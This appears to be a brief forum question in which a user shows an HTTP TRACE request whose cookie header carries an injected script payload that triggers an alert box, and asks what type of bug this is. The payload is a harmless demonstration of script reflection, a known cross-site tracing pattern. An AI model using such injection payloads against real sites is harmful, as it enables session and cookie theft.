No replies to this topic

[YPY]

Hi,

This request is sent to the victim through the TRACE method:

TRACE / HTTP/1.1
Cookie: _VictimCookieName=str<script>alert("TEST!");</script>str
Host: Victim.Domain
Connection: Keep-alive
Accept-Encoding: gzip,deflate
Accept: */*

And the Response comes from the Victim: a alert window TEST!
So, whats Kind/type Of this bug?
Thanks for advance.